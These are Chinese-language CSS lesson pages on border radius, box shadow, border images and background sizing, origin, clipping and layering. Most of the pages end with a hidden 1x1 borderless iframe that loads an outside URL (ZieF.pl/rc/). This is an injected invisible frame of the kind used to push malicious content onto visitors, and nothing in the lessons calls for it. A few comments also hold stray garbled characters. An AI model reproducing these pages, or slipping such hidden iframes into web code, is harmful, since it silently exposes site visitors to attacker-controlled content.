01-邊框圓角.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 300px;
height: 300px;
border: 1px solid #000;
background-color: pink;
margin:100px auto;
/*border-radius: 60px;*/
/*單個屬性 : 水平半徑 垂直半徑*/
/*border-top-left-radius: 60px 120px;*/
/*border-top-right-radius: 60px 120px;*/
/*border-bottom-left-radius: 60px 120px;*/
/*border-bottom-right-radius: 60px 120px;*/
/* 復合寫法
border-raduis:水平半徑/垂直半徑
*/
/*border-radius: 60px 60px 60px 60px/ 120px 120px 120px 120px ;*/
/*簡化*/
/*border-radius: 60px/120px;*/
/**/
/*border-radius: 60px/60px;*/
/* 四個角的說半徑都相同是簡寫*/
/*border-radius: 60px;*/
/* 賦值順序 從左上開始松申，順時針賦值,如果當前角沒有值，取對角的值 */
/*border-radius: 20px 60px 100px 140px;*/
/*border-radius: 20px 60px;*/
border-radius: 20px 60px 100px;
}
</style>
</head>
<body>
<div class="box"></div>
</body>
</html>
02-圓角應用.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 200px;
height: 200px;
border: 1px solid red;
margin:20px auto;
text-align: center;
line-height: 200px;
color:#ccc;
font-size:50px;
}
div:nth-child(1){
border-radius: 100px;
}
div:nth-child(2){
border-radius: 50%;
}
div:nth-child(3){
border-radius: 200px 0 0 0;
}
div:nth-child(4){
height:100px;
line-height: 100px;
border-radius: 100px/50px;
}
div:nth-child(5){
width: 100px;
border-radius: 50%;
}
div:nth-child(6){
border-radius: 0 100px;
}
</style>
</head>
<body>
<div class="box">1</div>
<div class="box">2</div>
<div class="box">3</div>
<div class="box">4</div>
<div class="box">5</div>
<div class="box">6</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
03-邊框陰影.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
body{
background-color: #eee;
}
.box{
width: 200px;
height: 300px;
margin:100px auto;
background-color: #fff;
border: 1px solid #000;
/*昨天的經(jīng)驗 會成為明天進步的障礙俯逾，所以需要不斷學習贸桶！*/
/*box-shadow: 水平位移 垂直位移 模糊程度 陰影大小 陰影顏色 外/內(nèi)陰影(inset) 外陰影不用寫 */
box-shadow: 15px 21px 48px -2px #666;
/*box-shadow:3px 3px 3px 3px #666 inset;*/
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
04-邊框圖片.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 400px;
margin:40px auto;
/* 邊框圖片屬性*/
/* 邊框圖片的路徑*/
border-image-source: url("images/border.png");
/* 圖片邊框的裁剪*/
border-image-slice: 27;
/*圖片邊框的寬度*/
border-image-width: 27px;
/*邊框圖片的平鋪*/
/* repeat :正常平鋪 但是可能會顯示不完整*/
/*round: 平鋪 但是保證 圖片完整*/
/*stretch: 拉伸顯示*/
border-image-repeat: stretch;
}
</style>
</head>
<body>
<img src="images/border.png" alt=""/>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
01-背景尺寸.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 1px solid #000;
margin:100px auto;
background:url(images/baby0.jpg) no-repeat;
/* 控制背景的大小*/
/*具體數(shù)值*/
/*background-size: 500px 500px;*/
/* 百分比*/
/*background-size:50% 50%;*/
/* cover 覆蓋 contain: 包含*/
/* cover 會保證完全覆蓋盒子，但不能保證完整顯示*/
/*background-size:cover;*/
/*contain :包含*/
/* 保證背景圖片最大化的在盒子中等比例顯示桌肴，但不保證能鋪滿盒子*/
/*background-size: contain;*/
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
02-背景原點.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 30px solid rgba(0,0,255,0.3);
padding:30px;
background:url(images/baby0.jpg) no-repeat;
background-size: cover;
/* 背景原點 控制背景從什么地方開始顯示*/
/*(默認值)*/
background-origin: padding-box;
/*從border-box開始顯示*/
/*background-origin: border-box;*/
/*從content-box開始顯示*/
/*background-origin: content-box;*/
/*(默認值)*/
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
01-全屏背景練習.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
html,body{
height:100%;
}
body{
background: url(images/1.jpg) no-repeat center;
/*background-size:100% 100%;*/
/* 全屏背景自適應*/
background-size: cover;
}
</style>
</head>
<body>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
03-背景裁剪.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 30px solid rgba(0,0,255,0.3);
padding:30px;
background:url(images/baby0.jpg) no-repeat;
/* 設置背景原點*/
background-origin: border-box;
/* 背景裁剪*/
/* border-box :從 border-box開始裁剪
padding-box :從 padding-box開始裁剪
content-box :從 content-box開始裁剪
*/
background-clip:content-box;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
04-多背景.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 623px;
height: 416px;
border: 1px solid #000;
margin:100px auto;
/* 給盒子加多個背景皇筛，按照背景語法格式書寫，多個背景使用逗號隔開 */
background: url(images/bg1.png) no-repeat left top
,url(images/bg2.png) no-repeat right top
,url(images/bg3.png) no-repeat right bottom
,url(images/bg4.png) no-repeat left bottom
,url(images/bg5.png) no-repeat center;
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
